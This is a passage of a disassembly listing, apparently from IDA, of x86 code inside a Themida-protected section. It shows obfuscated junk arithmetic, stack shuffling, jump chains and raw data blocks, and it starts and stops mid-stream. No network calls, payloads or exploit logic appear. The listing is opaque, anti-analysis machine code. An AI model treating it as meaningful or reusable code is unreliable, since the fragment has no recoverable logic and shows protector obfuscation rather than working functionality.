		dd 2800004Dh, 5A66F3h, 2AB252C3h, 66FFC280h, 0C053B450h
		dd 0C48004ECh, 52CCFE93h, 9DFDE9h, 48B6600h, 7DE56824h
		dd 0CCE90000h, 0BA000093h, 7EA522B3h, 2206E9h, 0E9835E00h
		dd 2F08E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552442:				; CODE XREF: Themida_:0055ACFCj
		not	edi
		dec	edi
		dec	edi
		jmp	loc_5560F1
; ---------------------------------------------------------------------------
aLSsg		db '▀$$ИИG',0
		db 0
; ---------------------------------------------------------------------------

loc_552453:				; CODE XREF: Themida_:00559DD3j
		pop	edx
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ecx, 24C03475h
		add	ecx, edi
		add	ecx, 24C03475h
		sub	ecx, 6255093h
		push	ebx
		push	ecx
		mov	ecx, 755955D6h
		mov	ebx, 755955D6h
		xor	ebx, ecx
		pop	ecx
		sub	ebx, 37CD4DA7h
		add	ebx, ecx
		jmp	loc_55AF45
; ---------------------------------------------------------------------------
		dd 3A339CBDh, 5EF5291Bh, 23E7C781h, 0EF012C10h,	4ECBBB53h
		dd 76E96A04h, 2D000058h, 790438C2h, 0A9A5E9h
		db 0
; ---------------------------------------------------------------------------

loc_5524B1:				; CODE XREF: Themida_:00559DA4j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5568EB
; ---------------------------------------------------------------------------
aSvs		db '\И╒s',0
		dd 0BABF5700h, 810B9D6Bh, 0A65331F7h, 6BE7812Bh, 0F7497F16h
		dd 0AE947D7h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5524F3:				; CODE XREF: Themida_:0055194Bj
		pop	dword ptr [edi+20h]
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		db 68h
		dd 1ABAh, 0B8240489h, 52C4194Dh, 28CFC281h, 15E97CD7h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_552513:				; CODE XREF: Themida_:0055735Bj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5590C5
; ---------------------------------------------------------------------------
		dw 875Bh
		dd 87D7F7FBh, 1450E9FBh, 0C890000h, 5A4B924h, 82D095Dh
		dd 2933C55Fh, 5F0805C8h, 0C8B33C5h, 4C48124h, 0E9000000h
		dd 370Dh, 583BE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552556:				; CODE XREF: Themida_:0055A590j
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_55A803
; ---------------------------------------------------------------------------

loc_552562:				; CODE XREF: Themida_:0055D2D8j
		mov	[esp], edx
		mov	edx, 22463323h
		xor	edx, 3CDF27E4h
		add	edx, 78A14C5Ch
		dec	edx
		neg	edx
		xor	edx, 68C59EDAh
		add	edi, 653F1B4Ch
		add	edi, edx
		sub	edi, 653F1B4Ch
		pop	edx
		push	edi
		jmp	loc_558E89
; ---------------------------------------------------------------------------
		dd 3406850h, 0A7E90000h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55259F:				; CODE XREF: Themida_:00556123j
		pop	edx
		pop	eax
		push	edi
		jmp	loc_556E38
; ---------------------------------------------------------------------------
		db 1
		dd 7F8DE9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5525AE:				; CODE XREF: Themida_:00553116j
		add	esp, 4
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0E87h, 78BD555Dh, 0E98F2B05h, 0FFFFF763h, 25D0F740h
		dd 1DA44BCh, 5FFC083h, 4A032AEh, 48BC609h, 4C48324h, 75AFCE81h
		dd 0E6816AF8h, 3A714006h, 5ECAE9h, 7456800h, 4890000h
		dd 0ED6AE924h, 0E956FFFFh, 4961h, 240C8B66h, 788F68h, 243C8900h
		dd 97A6E9h
		db 0
; ---------------------------------------------------------------------------

loc_552615:				; CODE XREF: Themida_:00559D47j
		add	ecx, edi
		jmp	loc_55441E
; ---------------------------------------------------------------------------

loc_55261C:				; CODE XREF: Themida_:00551399j
		add	esp, 2
		push	733Bh
		mov	[esp], edx
		push	ebx
		mov	bh, 15h
		mov	dl, bh
		jmp	loc_557FA9
; ---------------------------------------------------------------------------
		dd 2474FF66h, 665F6602h, 0E924048Fh, 1FBBh, 814ED6F7h
		dd 0D00BCEC6h, 30F68162h, 29006798h, 0F8D8E9F0h, 0BD55FFFFh
		dd 315B0205h, 205AF581h, 43E93A56h, 8000027h, 0EBD05AD3h
		dd 0FFF846E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552675:				; CODE XREF: Themida_:0055B820j
		add	ebp, 6CD76EB2h
		add	ebp, esi
		sub	ebp, 6CD76EB2h
		mov	esi, [esp]
		jmp	loc_558E6F
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C241Ch, 68D4h, 4C381h, 28E90000h, 0AC0000A8h, 0FFF860E9h
		dd 53D8F6FFh, 0A868E1B7h, 0E900000Eh, 9A21h, 73E9E289h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5526BB:				; CODE XREF: Themida_:00552EEEj
		mov	[esp], edi
		jmp	loc_55B825
; ---------------------------------------------------------------------------

loc_5526C3:				; CODE XREF: Themida_:00555FCEj
		mov	esi, 1
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_559F5B
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 80C30015h, 525815EBh, 4EC81h, 1C890000h, 6869BB24h
		dd 0CFBA1B98h, 81E46797h, 1B2720C2h, 0E9DA0128h, 10D7h
		dd 670C5FBEh, 5EF531B6h, 22B4E9h, 1C6F0900h, 0E92434FFh
		dd 885h
; ---------------------------------------------------------------------------

loc_552714:				; CODE XREF: Themida_:00559D0Ej
		sub	al, ch
		pop	ecx
		jmp	loc_5576B1
; ---------------------------------------------------------------------------

loc_55271C:				; CODE XREF: Themida_:00557DC1j
		sub	esp, 4
		jmp	loc_5550F2
; ---------------------------------------------------------------------------

loc_552724:				; CODE XREF: Themida_:0055AB32j
		xor	eax, 60043D3Ch
		jmp	loc_55A488
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 6534365Ch, 416ECA2Dh, 0FE8AE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55273E:				; CODE XREF: Themida_:005559D4j
		xor	eax, [esp]
		jmp	loc_557BAF
; ---------------------------------------------------------------------------

loc_552746:				; CODE XREF: Themida_:00553A3Aj
		xor	eax, ecx
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 532063E9h
		dec	ebx
		push	ecx
		jmp	loc_559C3A
; ---------------------------------------------------------------------------

loc_552758:				; CODE XREF: Themida_:0055BD45j
		sub	edx, 21D75051h
		push	ebx
		push	eax
		mov	eax, 9222F25h
		not	eax
		jmp	loc_553C44
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 5ABBE900h, 0E9590000h, 0FFFFF456h
		dd 2764E95Ah, 0E9510000h, 233Fh, 0E9240C87h, 4AE2h
; ---------------------------------------------------------------------------

loc_552794:				; CODE XREF: Themida_:00557581j
		pop	edi
		jmp	loc_55C533
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BF243C89h, 4, 815FF901h,	4C1h, 240C3300h, 33240C31h
		dd 875C240Ch, 248B2404h, 0C8B6624h, 5CE16824h, 0C890000h
		dd 0E3895324h, 4C381h, 0EB830000h, 74FF5304h, 8F5B0424h
		dd 0E95C2404h, 2137h
; ---------------------------------------------------------------------------

loc_5527E8:				; CODE XREF: Themida_:00556EC6j
		pop	edi
		jmp	loc_5541CF
; ---------------------------------------------------------------------------
		dw 8950h
		dd 0E9C589F0h, 2249h
; ---------------------------------------------------------------------------

loc_5527F8:				; CODE XREF: Themida_:005533C5j
		mov	esp, [esp]
		push	991h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0FFFFh
		push	ebp
		pop	esi
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_559CDD
; ---------------------------------------------------------------------------

loc_55281E:				; CODE XREF: Themida_:0055D190j
		mov	eax, [esp]
		push	1B49h
		mov	[esp], eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	7A78h
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	eax
		jmp	loc_55C0CC
; ---------------------------------------------------------------------------

loc_552850:				; CODE XREF: Themida_:0055C4F6j
		pop	esp
		push	7ADAh
		mov	[esp], eax
		mov	eax, 4
		and	ecx, eax
		jmp	loc_554552
; ---------------------------------------------------------------------------
aVFysQ		db '(х,┌,фfYИ}q',0
		align 2

loc_552872:				; CODE XREF: Themida_:0055CC5Fj
		pop	eax
		xchg	edi, [esp]
		pop	esp
		xor	eax, 596D1CABh
		jmp	loc_556258
; ---------------------------------------------------------------------------

loc_552881:				; CODE XREF: Themida_:005547C8j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		push	eax
		mov	eax, 3A582A26h
		jmp	loc_5568D8
; ---------------------------------------------------------------------------

loc_5528A3:				; CODE XREF: Themida_:0055B3DBj
		pop	ebp
		sub	dword ptr [esp+4], 6B224D7Bh
		add	[esp+4], eax
		add	dword ptr [esp+4], 6B224D7Bh
		pop	eax
		jmp	loc_55C7F0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 14AEE904h, 1590000h,	0EFBD55F3h, 81775E3Fh, 176C1FF5h
		dd 0D5F5810Ch, 2931823Ch, 348B5DEBh, 9A6CE924h,	3C330000h
		dd 24248B24h, 2EB8E9h, 4EE98100h, 89FABFFBh, 0C10159C8h
		dd 240C8758h, 9646E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552906:				; CODE XREF: Themida_:00556C90j
		xor	al, 1Fh
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_555E12
; ---------------------------------------------------------------------------
aAAie		db '─ц\─КE',0
aAEsdj		db 'ц─цEИ╓j',0
		dd 2CB85000h, 29703751h, 2434FFC3h, 0B6E95758h,	81000003h
		dd 4C6h, 4EE8300h, 0E9243487h, 1C3Dh, 67BE5657h, 0E907F23Dh
		dd 7F88h
; ---------------------------------------------------------------------------

loc_55295C:				; CODE XREF: Themida_:0055BEFAj
		add	edi, ebp
		pop	ebp
		xor	edi, 154D7212h
		mov	edx, edi
		jmp	loc_55B111
; ---------------------------------------------------------------------------
aZSa8		db 'Z^И─8',0
		db 0
; ---------------------------------------------------------------------------

loc_552973:				; CODE XREF: Themida_:0055D2C8j
		mov	edx, ebp
		push	edx
		pop	eax
		pop	edx
		jmp	loc_55890A
; ---------------------------------------------------------------------------

loc_55297D:				; CODE XREF: Themida_:00555016j
		push	edi
		mov	edi, 0BAB6EB42h
		add	ecx, edi
		pop	edi
		mov	edx, ecx
		jmp	loc_5540A1
; ---------------------------------------------------------------------------

loc_55298D:				; CODE XREF: Themida_:0055BE89j
		mov	ebx, 4
		push	ecx
		mov	ecx, 445557D3h
		jmp	loc_551FF5
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 32h
		dd 414C9E3Eh, 579AF181h, 0CE8906F5h, 0FFEB3FE9h, 0F90159FFh
		dd 9AEEE9h, 81E58900h, 4C5h, 4ED8100h, 87000000h, 4E9242Ch
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5529CF:				; CODE XREF: Themida_:0055AA80j
		push	esi
		mov	esi, 36EA240Ch
		jmp	loc_55BB03
; ---------------------------------------------------------------------------
		dw 89E9h
		dd 52FFFFE9h, 27AE68h, 240C8900h, 9899E9h, 24048F00h, 6624248Bh
		dd 6866E9F7h, 89663C1Fh, 50662414h, 0E962E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552A06:				; CODE XREF: Themida_:0055B04Ej
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_555749
; ---------------------------------------------------------------------------

loc_552A14:				; CODE XREF: Themida_:005570FBj
		add	esp, 4
		jmp	loc_559CB6
; ---------------------------------------------------------------------------
		db 5
		dd 68416614h, 142DE801h, 2D684166h, 4D167143h, 2404875Dh
		dd 6CEDE95Ch, 0E95F0000h, 4EB9h, 0E904C483h, 73A9h, 4B0C2D58h
		dd 81503B1Dh, 0A592404h, 0E95F692Dh, 1B64h, 0EC83555Bh
		dd 24248904h, 8E7E9h, 0F29E3500h, 0C629C148h, 7442E9h
		dd 24248B00h, 6920E9h, 0C8B6600h, 21326824h, 2C890000h
		dd 0E9E58924h, 2682h, 754FBE56h, 514665D0h, 9FCCE9h, 10C68100h
		dd 1556CF0h, 0E8295EF0h, 0CD12182Dh, 0D8015D5Fh, 5E55B405h
		dd 5A40571h, 0C9E9095Dh, 6600005Eh, 80C7FE59h, 0F800CDEFh
		dd 9BA1E9h, 4B85000h, 1000000h,	0E9042444h, 3387h
; ---------------------------------------------------------------------------

loc_552ADC:				; CODE XREF: Themida_:00559F86j
		sub	eax, 0BF71724Eh
		sub	eax, esi
		pop	esi
		add	eax, 0C58E9346h
		push	esi
		mov	esi, 28663A73h
		or	esi, 0EF0366Ah
		not	esi
		sub	esi, 1505DEh
		shr	esi, 6
		jmp	loc_558BA0
; ---------------------------------------------------------------------------

loc_552B05:				; CODE XREF: Themida_:00559544j
		push	eax
		mov	eax, 68E0321Dh
		mov	ebp, 68E0321Dh
		sub	ebp, eax
		jmp	loc_556AEC
; ---------------------------------------------------------------------------
		db 5Bh
		dd 495EF189h, 891C181h,	0E1C161DAh, 0E9D9F706h,	1B02h
		dd 335BDA01h, 14312414h, 24143324h, 6624248Bh, 9C2424D3h
		dd 0FFE823E9h, 665B66FFh, 8166D3F7h, 66F3FFC3h,	665BDA89h
		dd 665DEA29h, 4D9AC381h, 4BC38166h, 0EB81666Dh,	29663E6Dh
		dd 665766D3h, 663E6DBFh, 5F66FB01h, 6878E9h, 2434FF00h
		dd 4608E9h
		db 0
; ---------------------------------------------------------------------------

loc_552B81:				; CODE XREF: Themida_:0055223Aj
		push	dword ptr [edi+eax*4]
		jmp	loc_551368
; ---------------------------------------------------------------------------
aS_5		db '[И╡<',0
		dw 8900h
		dd 0FCE95EF0h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552B97:				; CODE XREF: Themida_:00551619j
		pop	eax
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		jmp	loc_55A72B
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9310000h, 0E9242C8Bh, 5AB7h, 8904EC83h, 0B966240Ch
		dd 8166177Eh, 664F16F1h, 3E50F181h, 56E8E9h, 0CE686600h
		dd 24896625h, 0E9545324h, 7187h, 24048B66h, 681E957h, 5BB0000h
		dd 811B0F56h, 46649FCBh, 3E3C14Bh, 48E2F381h, 0C381504Bh
		dd 52BB4A71h, 0A87FE9h
		db 0
; ---------------------------------------------------------------------------

loc_552C09:				; CODE XREF: Themida_:0055917Dj
		pop	esi
		shr	ecx, 2
		add	ecx, 19B237AFh
		shl	ecx, 1
		shl	ecx, 5
		add	ecx, 6B7E6844h
		add	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 2
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55B9B2
; ---------------------------------------------------------------------------

loc_552C33:				; CODE XREF: Themida_:00554675j
		pop	edi
		jmp	loc_55D49C
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 33243431h, 0FF5C2434h, 68592434h, 6B00h, 2F44E9h
		db 0
; ---------------------------------------------------------------------------

loc_552C51:				; CODE XREF: Themida_:0055CC88j
		add	ecx, eax
		pop	eax
		jmp	loc_559DCD
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6658669Dh, 9C240411h, 0FFE6FFE9h, 4EC83FFh, 89243C89h
		dd 46853E7h, 5B000000h,	4DE9DF01h, 0AC00002Eh, 0B5515266h
		dd 55E580A1h, 38B5E9h, 24143300h, 5024248Bh, 405E089h
		dd 83000000h, 0E6E904C0h, 0BF000057h, 2B766CB4h, 10F2E9h
		dd 0C3285800h, 8BC4EB80h, 7AE92404h, 1000082h, 0FEC7E9DFh
		dd 0D501FFFFh, 243C8B5Ah, 4C481h, 0C5830000h, 3178E904h
		dd 0DE880000h, 80C6FE5Bh, 0F6800ACEh, 5EB0E9C4h, 0FA010000h
		dd 88C78853h, 241C8B3Ah, 555BE9h, 0E9E78900h, 0FFFFF4C8h
		dd 14D5E95Ch, 8B660000h, 32E9240Ch, 5C000025h, 2240E955h
		dd 89560000h, 604E9CEh,	0C2810000h, 4, 4EA81h, 14870000h
		dd 1C895C24h, 4A286824h, 63E90000h, 0BA0000A5h,	5CAF0D03h
		dd 6DA8684Ah, 34890000h, 4E156824h, 2CE90000h, 8700003Bh
		dd 0D3E92434h, 49000016h, 0E32E981h, 0CB011446h, 56240C8Bh
		dd 0C6815E54h, 4, 0E904C683h, 13C5h, 0E904C483h, 0FFFFE5ECh
		dd 240C8B66h, 396D68h, 24148900h, 0C281E289h, 4, 4B951h
		dd 0CA290000h, 0FFF390E9h, 40966FFh, 0C1E99C24h, 43FFFFE5h
		dd 20F2F381h, 0DD897B85h, 5DEA895Bh, 8635E9h
		db 0
; ---------------------------------------------------------------------------

loc_552DB9:				; CODE XREF: Themida_:00554D67j
		sub	ch, al
		pop	eax
		jmp	loc_556721
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0CAh
		dd 8939426Dh, 0EB835DEBh, 6C8A6801h, 14890000h,	6EF1BA24h
		dd 0CA8118D2h, 560B305Dh, 242C8752h, 2414F755h,	242C875Dh
		dd 8324148Bh, 0F28104C4h, 753AF08Fh, 5099BE56h,	0F3011496h
		dd 81D3015Eh, 965099EBh, 24148B14h, 4C481h, 5CE90000h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552E17:				; CODE XREF: Themida_:0055CE46j
		xor	ebx, esi
		pop	esi
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_551904
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5554AE
; ---------------------------------------------------------------------------
		dd 8050B450h, 0D4F6F7E4h, 1835E9h, 0C8B6600h, 2AE95124h
		dd 0B900009Fh, 78497350h, 497368B8h, 2FFBE978h,	88530000h
		dd 8BF988E7h, 0C483241Ch, 24048B04h, 81E18951h,	4C1h, 4C18100h
		dd 87000000h, 885C240Ch, 20E9870Ch, 83000043h, 895704C4h
		dd 4EC81E7h, 89000000h,	4B9240Ch, 1000000h, 91E959CFh
		dd 0BD00003Ah, 24953FA5h, 68555251h, 6A8E539Dh,	81242C8Bh
		dd 4C4h, 99E58100h, 817D265Eh, 4E0F0AC5h, 7BC58168h, 8140CB1Bh
		dd 754D76F5h, 14DCE901h, 89660000h, 0B9E9240Ch
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_552EDF:				; CODE XREF: Themida_:00555AA6j
		xor	eax, esi
		push	1DF2h
		mov	[esp], ebp
		push	3962h
		jmp	loc_5526BB
; ---------------------------------------------------------------------------
		db 89h
		dd 197468E7h, 2C890000h, 5FF1E924h, 0ED810000h,	0F4AF7A00h
		dd 815AD531h, 0B0C39C5h, 0DDF74545h, 0E902EDC1h, 4FFh
		dd 0F45CE4BFh, 854EE937h, 55A0000h, 14D45602h, 35C768h
		dd 5E8CE900h, 0DD680000h, 89000034h, 46BD242Ch,	0C125965Dh
		dd 0C58106EDh, 6A87E749h, 7505B951h, 0CD016C7Ah, 5EDC159h
		dd 0AE9E581h, 0ED81037Dh, 169253A3h, 0AD01ED81h, 0EB01EBA9h
		dd 6FBF575Dh, 0F77A3A50h, 0D3F781DFh, 5221FF4Bh, 10E8BF57h
		dd 0FA896855h, 9C41E9h,	2BE00h,	0BD550000h, 29E33649h
		dd 6A7BE9h, 242C8B00h, 5F70E9h,	5C6C2D00h, 2C8B6E14h, 4C48324h
		dd 8904EC83h, 4ABE2434h, 5756B456h, 3CFB6852h, 515A33E5h
		dd 56EC43B9h, 83EA8128h, 2908165Eh, 83C281CAh, 5908165Eh
		dd 55EBE952h, 0E0890000h, 405h,	9080E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552FE6:				; CODE XREF: Themida_:00559FEEj
		pop	edi
		mov	eax, ebx
		pop	ebx
		jmp	loc_559969
; ---------------------------------------------------------------------------
		db 30h
		dd 24148BF0h, 81E18951h, 4C1h, 4C18300h, 0FFF787E9h, 2434FFFFh
		dd 5D2434FFh, 5265E952h, 0DD010000h, 6E5C15Bh, 5008E5C1h
		dd 6743EAB8h, 58C50171h, 0B4E9E829h, 5C000068h,	5C242C87h
		dd 67E968h, 24048900h, 0FFE32BE9h, 2434FFFFh, 55240C8Bh
		dd 4038E9h, 0E0EE8100h,	12E3CA5h, 0BF575EF0h, 1F937A23h
		dd 6C02EF81h, 4E936B4h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553063:				; CODE XREF: Themida_:0055A24Aj
		pop	edx
		mov	edx, ebp
		pop	ebp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55A227
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2434FF24h, 0E924048Bh, 56CDh, 56242C89h, 0CF13A7BEh
		dd 9EE8153h, 0C1147F22h, 0EED108E6h, 0E907E6C1h, 0BD1h
		dd 357E1205h, 5111E953h, 33680000h, 0E9000048h,	0A158h
		dd 68D831ADh, 7C6Fh, 89240C89h,	4EC81E1h, 89000000h, 0AFBB241Ch
		dd 8150433Eh, 0D5726C3h, 34F3815Fh, 81183C57h, 454BC5EBh
		dd 0E5E3E949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5530E2:				; CODE XREF: Themida_:0055CCDDj
		pop	eax
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		pop	ecx
		push	3DFh
		mov	[esp], edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 4
		jmp	loc_557514
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 462Eh, 0E9240C89h, 34C8h
; ---------------------------------------------------------------------------

loc_553110:				; CODE XREF: Themida_:0055948Bj
		sub	bl, 0DFh
		mov	ecx, [esp]
		jmp	loc_5525AE
; ---------------------------------------------------------------------------
		db 0BAh
		dd 1FAC1401h, 6FDEE9h, 2AEE8100h, 51FF4A6Fh, 0C1E9F189h
		dd 58000064h, 7EE95550h, 4FFFFF8h, 4A75E960h, 34FF0000h
		dd 13E95924h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55314B:				; CODE XREF: Themida_:0055AEE0j
		mov	esi, 0D5C789Ah
		jmp	loc_55CAE3
; ---------------------------------------------------------------------------
		db 4Bh,	81h, 0EBh
		dd 16557A74h, 815BD989h, 7B60C9C9h, 5AECE921h, 0BA520000h
		dd 53C85D17h, 4B5AD331h, 39E9D3F7h, 20000065h, 7916E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553182:				; CODE XREF: Themida_:00551507j
		add	esp, 4
		sub	ebx, 39D57149h
		add	ebx, 13F200Bh
		sub	ebx, eax
		push	ebp
		mov	ebp, 13F200Bh
		jmp	loc_55C9FD
; ---------------------------------------------------------------------------

loc_5531A1:				; CODE XREF: Themida_:00559CF0j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_554394
; ---------------------------------------------------------------------------
		db 1
		dd 8104244Ch, 0F042444h, 592A7779h, 40558h, 0B4E90000h
		dd 68000082h, 2612h, 0BD242C89h, 4, 4246C01h, 24048F5Dh
		dd 79ED68h, 24348900h, 4BEh, 24740100h,	24348B04h, 8B07E9h
		dd 21FCB800h, 9625745Ah, 514EE71h, 0EBB5DE70h, 25E9C701h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55320F:				; CODE XREF: Themida_:00556E44j
		add	edi, edx
		pop	edx
		sub	eax, edi
		mov	edi, [esp]
		push	573h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55B8C6
; ---------------------------------------------------------------------------
		dw 5F5Dh
		dd 26D7BA52h, 0D509511Ah, 0D7ED815Ah, 951BAEDh,	0C9E91C6Fh
		dd 5100005Ah, 0DCBE9h
		db 0
; ---------------------------------------------------------------------------

loc_553245:				; CODE XREF: Themida_:00555942j
		shr	ecx, 0
		or	eax, eax
		jz	loc_559ED0
		push	4D9h
		mov	[esp], ebx
		jmp	loc_55C7E6
; ---------------------------------------------------------------------------
		db 87h,	0F1h, 5Eh
		dd 0AF0E981h, 0F9E974DAh, 5400004Fh, 6BAFE9h, 58C30000h
		dd 808BC380h, 0C30000C3h, 0E900EB80h, 150Eh, 1E19ED81h
		dd 0EA890065h, 643FE9h,	14896600h, 68665624h, 8B6644DBh
		dd 0C4832434h, 686602h,	2C816600h, 661F2924h, 38240481h
		dd 34296628h, 2C816624h, 66283824h, 29240481h, 665E661Fh
		dd 25FAC681h, 81665666h, 1BC52404h, 24148B66h, 6602C483h
		dd 0C5B96651h, 0C0CE91Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5532E2:				; CODE XREF: Themida_:00553431j
		mov	esi, 361B19E5h
		sub	[esp+4], esi
		pop	esi
		mov	ebx, [esp]
		jmp	loc_5546F1
; ---------------------------------------------------------------------------
		dd 7C68DCF6h, 8900005Ah, 0B3241Ch, 96E9DC00h, 40000090h
		dd 4E1B0235h, 4518E923h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553312:				; CODE XREF: Themida_:0055148Aj
		mov	esi, 8FFC22BEh
		sub	esi, ecx
		jmp	loc_554DE3
; ---------------------------------------------------------------------------
		dw 0F389h
		dd 240C8B5Eh, 4C481h, 0E3C10000h, 4F78E905h, 0C890000h
		dd 97BF5724h, 0E9048A14h, 4B2Bh, 8159CA89h, 0ED46E6C7h
		dd 0E9D7014Dh, 2B8Fh, 4BD55h, 6C010000h, 5D5D0424h, 21F8BE56h
		dd 0E6811905h, 40A80460h, 0FFF3C1E9h, 2E7C1FFh,	0EAEF81h
		dd 0E953524Dh, 88D1h, 0E981D929h, 119A620Ah, 8373E95Bh
		dd 5AD0000h, 6CB01A44h,	0D456022Dh, 281F0514h, 0D829284Bh
		dd 281FBA52h, 65E9284Bh, 500001Bh, 65818F2Bh, 3A16E9h
		db 0
; ---------------------------------------------------------------------------

loc_5533B1:				; CODE XREF: Themida_:00553601j
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_5527F8
; ---------------------------------------------------------------------------
aBxN?bLVsmsm	db '│Ег$╜?│еL',27h,'VsMИ╛&',0
		align 4
		dd 6FBCC781h, 8BE9267Bh, 8B00001Ah, 38E92424h, 88000020h
		dd 0D00059EAh, 8324148Bh, 0DEE904C4h, 1000042h,	4FDE9DDh
		dd 34890000h, 7A60E924h, 0BB680000h, 89000005h,	35E9243Ch
		dd 81FFFFE4h, 17A41BF5h, 5DEF0121h, 2BA52h, 0CAE90000h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55342F:				; CODE XREF: Themida_:00558F2Aj
		push	ebx
		push	esi
		jmp	loc_5532E2
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4216624h, 9DE99C24h,	6100007Fh, 0E9028FC3h, 0FFFFDF1Ch
		dd 2EBD5540h, 2944A253h, 0D8F75DE8h, 5FFC083h, 3047AD22h
		dd 5758C501h, 145C6CBFh, 5FF8016Eh, 2EE9E829h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553473:				; CODE XREF: Themida_:005560FDj
		sub	ebx, edi
		pop	edi
		add	ebx, eax
		push	edi
		mov	edi, 2DC81FABh
		or	edi, 766F573Dh
		add	edi, 0D5521401h
		add	ebx, edi
		pop	edi
		pop	eax
		jmp	loc_55D526
; ---------------------------------------------------------------------------
		db 80h
		dd 0E7808FC7h, 28EF804Fh, 803FB252h, 0EA8068F2h, 5AD730D4h
		dd 6BEAE9h, 0E9505A00h,	16B4h, 16F2815Fh, 81252A5Fh, 3D7AD5CAh
		dd 73CA810Ch, 816FDB1Ch, 0FF7FF3EAh, 0DAEB816Fh, 0E96E5A1Bh
		dd 2C2Ah
; ---------------------------------------------------------------------------

loc_5534D8:				; CODE XREF: Themida_:005524F6j
		push	0E8Ah
		mov	[esp], ebx
		mov	ebx, 20h
		push	edx
		push	ebp
		mov	ebp, 3C565E5Bh
		jmp	loc_55416E
; ---------------------------------------------------------------------------
		db 66h,	59h, 0E9h
		dd 0FFFFEC79h, 9C240400h, 0FFDE67E9h, 2474FFFFh, 48F5B04h
		dd 0CD25C24h, 55E99C24h, 1FFFFDEh, 895358C2h, 4EC81E3h
		dd 89000000h, 0F5E92414h, 2500004Eh, 508319A2h,	4F4F3A25h
		dd 6DE94016h, 81000014h, 0EB1F94EDh, 0EF65E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553542:				; CODE XREF: Themida_:00559C48j
		push	eax
		mov	eax, 4DC11F01h
		xor	eax, 670E2D45h
		neg	eax
		add	eax, 0D2D20AE2h
		jmp	loc_555731
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
